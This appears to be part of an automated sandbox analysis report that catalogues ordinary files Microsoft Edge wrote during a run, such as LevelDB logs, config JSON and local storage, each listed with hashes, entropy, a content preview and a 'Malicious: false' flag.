SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354080502842471
Encrypted:	false
SSDEEP:	6144:4A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:4FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	3743A6C31935D43EBB70257B1849E271
SHA1:	DA750AA8A341471B95C643075731DCE95F505D8F
SHA-256:	61CCD87E3899D235C0986FCA2DE7C114F11AC47E3506F2C7E67083D9F020725A
SHA-512:	1030D2BABE0B60FA18BDD00F7F2F646195E91DFC3C3E38B93845DB997C25A3A27532A4D23083867D579166C0FF73A5F7283A48F66CB9E3BFE9D35B0FA45C58D1
Malicious:	false
Preview:	...m.................DB_VERSION.1Ee..q...............&QUERY_TIMESTAMP:domains_config_gz2...13375660179434814..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.187287470247634
Encrypted:	false
SSDEEP:	6:H2trFD1923oH+Tcwtk2WwnvB2KLlV2UsFjyq2P923oH+Tcwtk2WwnvIFUv:+r8YebkxwnvFLwOv4YebkxwnQFUv
MD5:	DF871BF2AE9A95FEA64CE99ABF3AEF65
SHA1:	4833AD402DA05CE0F6BAA1B4E082BC00CB920325
SHA-256:	4DC5C9E52FA3DFAFB408213F3D65645A41171DBAEBECD7F384DA7DDC8FE8B4F7
SHA-512:	7006875EBCCA226EE063224FB974ECAF0A8AFEFE3E3F543F890C05FD0E66873E0180C5F40E2C1FDC5843AB617365BC9F4594D3927660088578C768F5EBD393C4
Malicious:	false
Preview:	2024/11/09-16:09:38.088 2350 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/09-16:09:38.112 2350 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324608516728454
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rs:C1gAg1zfv0
MD5:	A413FDE354E7FC246F54B184B4C05593
SHA1:	A3898A89689A60E88E043DF62754F5B335490AEE
SHA-256:	023FBD4C5DA0B607B35813124A06872A68507DFED603682FBBB30B7754A333D6
SHA-512:	88C53F7E694BCFFE117A90190D6FF12210F6C285573D6675F8976E9401647306C686BA8C233B88BC7A03D9F7C8264E39B5F6014A8BEB13631B0B5444210B754F
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.144173163226698
Encrypted:	false
SSDEEP:	6:H2C+L+q2P923oH+Tcwt8aPrqIFUt8Y2XoKWZmw+Y2/jLVkwO923oH+Tcwt8amLJ:5+L+v4YebL3FUt8VXW/+hjLV5LYebQJ
MD5:	01965A963DF0442F49BC0BD3F270A96D
SHA1:	BBA14259FF32402EDADF928A6B16DBBA94EDC71B
SHA-256:	B2B3C555924E87F230E215AF06AFD035669AABC90CAC3D987F094559D6201A5B
SHA-512:	8AFCEA8A8F2C91A0B8D24B95EA3164980197084637793398A044201A0AC3586C88B14DB97212297EFFE93AB9C7C1C5010D5EAF3F9F3F47D01A0CFEBEB54644A6
Malicious:	false
Preview:	2024/11/09-16:09:33.614 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/09-16:09:33.615 1e3c Recovering log #3.2024/11/09-16:09:33.616 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.144173163226698
Encrypted:	false
SSDEEP:	6:H2C+L+q2P923oH+Tcwt8aPrqIFUt8Y2XoKWZmw+Y2/jLVkwO923oH+Tcwt8amLJ:5+L+v4YebL3FUt8VXW/+hjLV5LYebQJ
MD5:	01965A963DF0442F49BC0BD3F270A96D
SHA1:	BBA14259FF32402EDADF928A6B16DBBA94EDC71B
SHA-256:	B2B3C555924E87F230E215AF06AFD035669AABC90CAC3D987F094559D6201A5B
SHA-512:	8AFCEA8A8F2C91A0B8D24B95EA3164980197084637793398A044201A0AC3586C88B14DB97212297EFFE93AB9C7C1C5010D5EAF3F9F3F47D01A0CFEBEB54644A6
Malicious:	false
Preview:	2024/11/09-16:09:33.614 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/09-16:09:33.615 1e3c Recovering log #3.2024/11/09-16:09:33.616 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141432474746637
Encrypted:	false
SSDEEP:	6:H2+wL+q2P923oH+Tcwt865IFUt8Y2+XJ1KWZmw+Y2+QZLVkwO923oH+Tcwt86+Ud:nwL+v4Yeb/WFUt8gX6W/+giLV5LYeb/L
MD5:	F504EB8EB125B8BE99333E1F2FA8E0B5
SHA1:	9542954AA4F0EA9DA754A7BA375503CDB09DA709
SHA-256:	2803880C5FF84A6B8F4C8CF991114098A759931ADC321278D4CC1FF73F828A9B
SHA-512:	73ADC1DA5E8D40E9CA899596E7A3651A647E2715283D373442D1ACFE646A2192411B59CFF3332C25B1D7505622F75408C7A45DA56E026FDE5E6ECE99D828191C
Malicious:	false
Preview:	2024/11/09-16:09:33.621 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/09-16:09:33.622 1e3c Recovering log #3.2024/11/09-16:09:33.623 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141432474746637
Encrypted:	false
SSDEEP:	6:H2+wL+q2P923oH+Tcwt865IFUt8Y2+XJ1KWZmw+Y2+QZLVkwO923oH+Tcwt86+Ud:nwL+v4Yeb/WFUt8gX6W/+giLV5LYeb/L
MD5:	F504EB8EB125B8BE99333E1F2FA8E0B5
SHA1:	9542954AA4F0EA9DA754A7BA375503CDB09DA709
SHA-256:	2803880C5FF84A6B8F4C8CF991114098A759931ADC321278D4CC1FF73F828A9B
SHA-512:	73ADC1DA5E8D40E9CA899596E7A3651A647E2715283D373442D1ACFE646A2192411B59CFF3332C25B1D7505622F75408C7A45DA56E026FDE5E6ECE99D828191C
Malicious:	false
Preview:	2024/11/09-16:09:33.621 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/09-16:09:33.622 1e3c Recovering log #3.2024/11/09-16:09:33.623 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.151853765358334
Encrypted:	false
SSDEEP:	6:H2eQ39+q2P923oH+Tcwt8NIFUt8Y2N6S3JZmw+Y2+OXGN9VkwO923oH+Tcwt8+ed:N8+v4YebpFUt8d/+3W3V5LYebqJ
MD5:	27C58C3A1A4E8C200D00CEDEB66DA344
SHA1:	F4F7F141E5D0D492EF26585639D3D03B4DDBADCC
SHA-256:	75C59E57EEA212147C5CC50E1FDFE6D32B3FA562F5FDC8B40BBE4194D302A234
SHA-512:	E8C586BCE34E102A00713B660DF84F1AF317B106F234479D78DA7285D90FBC5094CE83CDE6A4741C4A543EA9CF222B044B45F8C1CA35A89958B600AE17A71268
Malicious:	false
Preview:	2024/11/09-16:09:34.402 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/09-16:09:34.510 1d2c Recovering log #3.2024/11/09-16:09:34.511 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.151853765358334
Encrypted:	false
SSDEEP:	6:H2eQ39+q2P923oH+Tcwt8NIFUt8Y2N6S3JZmw+Y2+OXGN9VkwO923oH+Tcwt8+ed:N8+v4YebpFUt8d/+3W3V5LYebqJ
MD5:	27C58C3A1A4E8C200D00CEDEB66DA344
SHA1:	F4F7F141E5D0D492EF26585639D3D03B4DDBADCC
SHA-256:	75C59E57EEA212147C5CC50E1FDFE6D32B3FA562F5FDC8B40BBE4194D302A234
SHA-512:	E8C586BCE34E102A00713B660DF84F1AF317B106F234479D78DA7285D90FBC5094CE83CDE6A4741C4A543EA9CF222B044B45F8C1CA35A89958B600AE17A71268
Malicious:	false
Preview:	2024/11/09-16:09:34.402 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/09-16:09:34.510 1d2c Recovering log #3.2024/11/09-16:09:34.511 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:L9tFlljq7A/mhWJFuQ3yy7IOWU1flKtdweytllrE9SFcTp4AGbNCV9RUIUn:675fOxKtd0Xi99pEYy
MD5:	713D26A53CEB840C04C9680C4BFED01B
SHA1:	236D40A795294695060797F7C512F978AD3FB5EF
SHA-256:	A2BDE2DF8E2E469620E08BC081FB07EEE60F15940ECDFC0FA7AF635169358FFE
SHA-512:	C45FD654AA6BAC37CE7865F975A69E8A63FDD7F92A55A93BB65FCA1887F4EFF101522C82E6D24B571D3F9A288939175F7AAB24A8B753DD17EA3309C9CEE3522D
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6476062103811158
Encrypted:	false
SSDEEP:	384:aj9P03EQkQer0cdgam6ICP/Kbt+773pLwhXjl4RKToaAu:ad9e23gSP/P7ipl4RKcC
MD5:	8F36AB7D03B1B6DFDF5BAA69FC77AEA9
SHA1:	8D0292E6DFCC898D6AC0FBCA37D949986250EE94
SHA-256:	10EB27D94C284D63D19F79C7CE75C7ED049F7E37013517C615724F8727DA04B5
SHA-512:	FE4B7344284BAE28880329E7FDD5D72FD607ADC0F79E186A3FEFB1E978F94938345474B019B4A374D830A09A013D0DE3E52F20EB27E8F342804AD491DAA84484
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.270738985289506
Encrypted:	false
SSDEEP:	12:CBS+v4Yeb8rcHEZrELFUt8pZ/+pNV5LYeb8rcHEZrEZSJ:Cj4Yeb8nZrExg8pGlLYeb8nZrEZe
MD5:	93CA6F24D01BC9542DD1D2C1D3626300
SHA1:	D1CC4EEE47A8F46612C8D25011755CFEBA2E35D3
SHA-256:	72114CAED848B01FE4A1C17E09EC059120C0871E33BCB5FD85A5165129708323
SHA-512:	89D0EEDC4D875088F98BCF249ECF09C9E470B3D51B7D3019C54B653BC84C724B5F2D1D56A9046BB1F322774D0C6C039E4935AD38275669DAAAA9313B6D3C2246
Malicious:	false
Preview:	2024/11/09-16:09:37.666 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/09-16:09:37.667 1d2c Recovering log #3.2024/11/09-16:09:37.667 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.270738985289506
Encrypted:	false
SSDEEP:	12:CBS+v4Yeb8rcHEZrELFUt8pZ/+pNV5LYeb8rcHEZrEZSJ:Cj4Yeb8nZrExg8pGlLYeb8nZrEZe
MD5:	93CA6F24D01BC9542DD1D2C1D3626300
SHA1:	D1CC4EEE47A8F46612C8D25011755CFEBA2E35D3
SHA-256:	72114CAED848B01FE4A1C17E09EC059120C0871E33BCB5FD85A5165129708323
SHA-512:	89D0EEDC4D875088F98BCF249ECF09C9E470B3D51B7D3019C54B653BC84C724B5F2D1D56A9046BB1F322774D0C6C039E4935AD38275669DAAAA9313B6D3C2246
Malicious:	false
Preview:	2024/11/09-16:09:37.666 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/09-16:09:37.667 1d2c Recovering log #3.2024/11/09-16:09:37.667 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1655
Entropy (8bit):	5.6859896467669335
Encrypted:	false
SSDEEP:	48:RItZ/9dlcSO+XZMV03Sx41HHHxda2LoEHpyIiu0V:RItV93sEQWRxL1s
MD5:	E19F741DC973F3F61CE2E32B6DE6630A
SHA1:	D56D74F9BE03625BC1F4618ADACA25057CB7BAEB
SHA-256:	BFB459AC93D29E845D942366BD77BCFAA7F4651C185C0DFB8339F390D141FC3F
SHA-512:	40463262AC3FD084C22882F05EED15C4338325081FD427A9DA91C79157520B28997DF34FF25D7BBFE28ECDA98839AB73A22565B5FBD3BE618EE1EB9C38D0035D
Malicious:	false
Preview:	..@.y................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":690}.!_https://ntp.msn.com..LastKnownPV..1731186585217.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731186586648.._https://ntp.msn.com..MUID!.0722F0CD1C5A69A60479E5FF1DAB68A5.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731186585322,"schedule":[30,-1,24,-1,-1,9,-1],"scheduleFixed":[30,-1,24,-1,-1,9,-1],"simpleSchedule":[11,33,16,19,32,34,17]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731186585183.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241109.37"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.155611415087137
Encrypted:	false
SSDEEP:	6:H2Aq2P923oH+Tcwt8a2jMGIFUt8Y2wgZmw+Y2CfkwO923oH+Tcwt8a2jMmLJ:tv4Yeb8EFUt8h/+wf5LYeb8bJ
MD5:	08670C046F6B81F14E1566B723D0864B
SHA1:	0D5E2B9AEA656D6F08CE8112E046022CF6219CD7
SHA-256:	29F666036D093460EE6BA936094350BF702F4A6F1BC1A20577C6706045794F9C
SHA-512:	93C863E3576DEF5C859ABFE43696CCD4C75D049E8555C40CB728FA0390A9C27DC738294324326F8A4B88D3F498D15946C2067D27A6E55EE289FCB437B1400446
